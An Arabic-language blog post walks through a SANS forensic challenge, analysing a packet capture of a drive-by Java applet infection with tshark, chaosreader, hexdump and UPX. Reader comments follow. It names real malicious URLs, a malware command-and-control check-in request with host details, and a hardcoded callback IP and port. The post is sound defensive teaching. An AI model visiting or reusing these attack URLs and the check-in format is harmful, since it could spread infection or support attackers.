تحليل لإصابة ببرمجيّات خبيثة خطوة بخطوة
الكاتب: بشار | يوم: 08 يونيو, 2010 | التعليقات: 7 | القراءات: - عدد المشاهدات 10٬407
في هذه التدوينة إن شاء الله سنتطرق إلى شرح عملي خطوة بخطوة لإصابة حاسوب ببرمجيّات خبيثة. هذه المشاركة تعتمد ملف تمّ التقاطه من الشبكة لإصابة حقيقيّة. الملف جاء ضمن مسابقة عقدها معهد سانز لأمن المعلومات. هذه المسابقة شهريّة وأنصح الجميع بمتبعتها، ومحاولة حلّ ألغازها إن كان لديكم الوقت، فالفائدة المتأتيّة من ورائها لاشك كبيرة.
تفاصيل اللغز:
في صبيحة أحد الأيّام وبينما كانت الآنسة مونيماني ترتشف قوتها وتمرّ سريعاً على الرسائل الالكترونيّة التي وصلتها ليلاً. أحد هذه الرّسائل لفتت انتباهها وذلك لأنّ الرسالة والتي من الواضح أنّها عبارة عن بريد مزعج، قد نفدت من خلال المرشّحات. الرسالة عبارة عن دعاية لشراء دواء عبر الويب وتحتوي على رابط. تسألت في نفسها الآنسة مونيماني هل يقع النّاس حقيقة ضحايا لهكذا أشياء؟ دفعها فضولها لترى ما الذي يحتويه الموقع لاقتناع زوّاره بالشّراء، ولذلك ضغطت على الرّابط.
الموقع كان بطيئاً في التّحميل، وبدى وكأنّه لا يعمل. لم يكن هناك أي محتوى على الصفحة. أغلقت الآنسة مونيماني المتصفح ومضت في يومها، ولم تلاحظ أن نظامها (ويندوز اكس بي) قد اصيب ببرمجيّات ضارّة.
أنت كمحقق رقمي. حصلت على حزمة البيانات التي تحتوي على تفاعل الآنسة مونيماني مع الموقع. مهمّتك هي فهم ما الذي حصل بالضبط معها؟
حزمة البيانات الملتقطة يمكن تحميلها من هنا
تحذير: الملف يحتوي على برمجيّات خبيثة حقيق لذلك هناك إمكانيّة عالية لإصابة حاسوبك بهذه البرمجيّات. اعمل في بيئة تتحكم بها أنت.
الأسئلة و الحلّ:
السؤال الأول: كجزء من عمليّة الإصابة، المتصفح قام بتحميل ملفين Java Applets. ما هي أسماء الملفات ذات الامتداد jar التي تتطبق هذان الملفان؟
من خلال استخدام tshark لقراءة حزمة البيانات يمكن مشاهدة الآتي:
tshark -r infected.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri -e http.request.method | awk '{print $1," => ",$2, "\t ","http://"$3$4}' [..] 192.168.23.129 => 59.53.91.102 http://nrtjo.eu/q.jar 192.168.23.129 => 59.53.91.102 http://nrtjo.eu/sdfg.jar [..]
كما هو ظاهر في المخرجات أعلاه، هناك ملفان اثنان جرى تحميلهما وهما “q.jar” and “sdfg.jar” الملفان هما عبارة عن Java Applets
يمكن كذلك باستخدام Wireshark أو chaosreader استخراج الصفحة نفسها وهي true.php مشاهدة الملفّين في الكود المصدري
Viewing true.php source document.write('')
السؤال الثاني: ما اسم المستخدم على النّظام المصاب أثناء عمليّة الإصابة؟
باستخدام tshark مرّة أخرى نحصل على الآتي:
tshark -r infected.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri -e http.request.method | awk '{print $1," => ",$2, "\t ","http://"$3$4}' 192.168.23.129 => 212.252.32.20 http://freeways.in/11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed
السؤال الثالث: ماهو الرابط الذي بدأت به الاصابة؟ أو بمعنى آخر ما هو الرابط الذي ضغطت عليه الآنسة مونيماني؟
مرّة أخرى نعود إلى صديقنا tshark
tshark -r infected.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," => ",$2, "\t ","http://"$3$4}' 192.168.23.129 -> 59.53.91.102 http://nrtjo.eu/true.php
كما تلاحظون أعلاه، الرابط الذي بدأ الإصابة هو hxxp://nrtjo.eu/true.php
باستخدام غوغل نبحث عن النطاق nrtjo.eu. نتائج البحث أظهرت أن عدّة مواقع مختصّة في تتبع المواقع الضارّة أشارت إلى الموقع على أنّه موقع ضار. فمثلاً موقع malwareurl أظهر المعلومات التّاليّة:
http://www.malwareurl.com/listing.php?domain=nrtjo.eu Malicious URLs on nrtjo.eu /index.php /true.php /xxx.xxx //pdf.php?spl=ie //loading.php?spl=pdf_email_
من خلال قراءة الكود المصدري يمكننت رؤيّة أنّ الصفحة true.php تقوم بطلب العنوان الآتي
hxxp://nrtjo.eu//loading.php?spl=javad
باستخدام chaosreader.pl يمكننا مشاهدة أن الرّابط أعلاه يقوم بتحميل ملف اسمه file.exe
www: 192.168.23.129:1066 -> 59.53.91.102:80 File infected.pcap, Session 11 GET //loading.php?spl=javadnw&J050006010 HTTP/1.1 User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_05 Host: nrtjo.eu Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive HTTP/1.1 200 OK Server: nginx Date: Wed, 17 Mar 2010 00:56:05 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.2.11 Content-Disposition: inline; filename=file.exe
السؤال الرّابع: كجزء من عمليّة الإصابة، ملف تنفيذي خبيث تمّ تحميله على نظام الآنسة مونيماني، ما هو ال md5 لهذا الملف؟ تلميح: ال md5 ينتهي ب 91ed
إذا رجعنا إلى السؤال الثاني، نلاحظ أنّه يحتوي على md5=5942ba36cf732097479c51986eee91ed والذي ينتهي ب 91ed
السؤال الخامس: ما هو اسم الحزمة التي استخدامت لتغليف هذا الملف؟ ملاحظة هذه الحزمة هي احدى اشهر المغلّفات
من مخرجات chaosreader لدينا file.exe.octect-stream عندما نقوم بتمرير هذا الملف إلى hexdump نلاحظ الآتي:
$hexdump -C file.exe.octet-stream 000001e0 55 50 58 30 00 00 00 00 00 80 00 00 00 10 00 00 |UPX0............| 000001f0 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 |................| 00000200 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 |........UPX1....| 00000210 00 10 01 00 00 90 00 00 00 02 01 00 00 04 00 00 |................| 00000220 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 |............@...| 00000230 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 01 00 |.rsrc...........| 00000240 00 04 00 00 00 06 01 00 00 00 00 00 00 00 00 00 |................| 00000250 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 |....@...........| 00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000003d0 00 00 00 00 00 00 00 00 00 00 00 33 2e 30 34 00 |...........3.04.|
كما نلاحظ لدينا في المخرجات UPX وهو كما هو معروف مغلّف مشهور. 3.04 هو رقم الاصدارة.
السؤال السادس: ما هو ال md5 هاش لنّسخة الغير مغلّفة من الملف؟
نقوم باستخدام UPX من أجل رفع التغليف عن الملف:
./upx -k -d file.exe.octet-stream
ثمّ نقوم بتمرير الملف على md5sumt فنحصل على الآتي:
0f37839f48f7fc77e6d50e14657fb96e
السؤال السابع: الملف التنفيذي الخبيث يقوم بمحاولة اتصال عبر الانترنت بموقع باستخدام عنوان مثبّت داخل الملف بمعنى لم يكن هناك استعلام DNS. ما هو هذا العنوان؟
باستخدام chaosreader نلاحظ ان النظام المصاب قام بالاتصال بالعنوان 213.155.29.144 على المنفذ 444. نستخدم غوغل للبحث عن العنوان فيظهر لنا الآتي في موقع نورتن:
https://safeweb.norton.com/report/show?name=213.155.29.144 213.155.29.144 Summary Computer Threats: 1 Identity Threats: 0 Annoyance factors: 0 Total threats on this site: 1
انتهى الحلّ. هذا يظهر لنا سهولة عملية الإصابة خصوصاً وأنّ المستخدم يستخدم حساب المدير في تصفحه للانترنت. إذا كان لديكم أيّ أسئلة متعلّقة في هذا الحل، فلا تتردوا بطرحها في تعليقاتكم. كيف تعمل هذه الأدوات سنتطرق لها في تدوينات أخرى إن شاء الله.
بشار ماجستير نظم معلومات. مهندس أنظمة يمتلك خبرة في إدارة أنظمة ويندوز ولينكس. باحث ومختصص في مجال أنظمة المعلومات، معالجة الحوادث الأمنيّة، تحليل الإختراقات الأمنيّة، وفحصوصات الاختراق. حاصل على العديد من الشهادات الأمنيّة. عضو في مجلس استشاريّي معهد سانز لأمن المعلومات.
التعليقات:
اترك تعليقاً | عدد التعليقات: (7)
ما شاء الله شرح ولا اروع بسيط وتحليل يصل للقراء بمختلف امكانيتهم
اشكرك اخ بشار وارجو الاستمرار وجعلها سلسله من المقالات
السلام عليكم ..
تحليل رائع فعلا ..ان كانت طويله نوعا ما الا انها ممتعه فعلا عندما يكون الأمر حقيقيا .. فتجد انك تصل للمعلومات في كل خطوة ..
اشكرك اخي بشار .. وننتظر حلقه اخرى من هذه التحليلات .. <<< لم لا يكون لها قسم خاص بالتحليلات ويتم اضافه حلقات عن طرق مختلفه من الإصابه ..
بالتوفيق
سلام عليكم
ما شاء اللًه ابدعت يا بشار فعلا 🙂
بالفعل مسابقة رائعة و عجبني تحليلك صراحة و ان شاء اللًه احاول اشارك في المسابقة في الشهر القادم
السلام عليكم
شكرا لكم أخي على الوضوع و على الشرح و على المجهودات أخي
جعلها الله في ميزان حسناتك
تحياتي
Hit-Man
السلام عليكم ورحمة الله
شرح جميل جدا بس اذا الواحد حب يوصل لدرجة جيدة بهذه الامور ماالمطلوب حتى يصل الى درجة جيدة من العلم فى هذا المجال ؟
وشكرا
يجب علك حبيي ان تتعلم الهندسة العكسية. وشكرا لكم شح جميل و الله ز مستوى رائع ولكن ياريت تذكروا ادق التفاصيل.
[…] Click hear to read whole topic → […]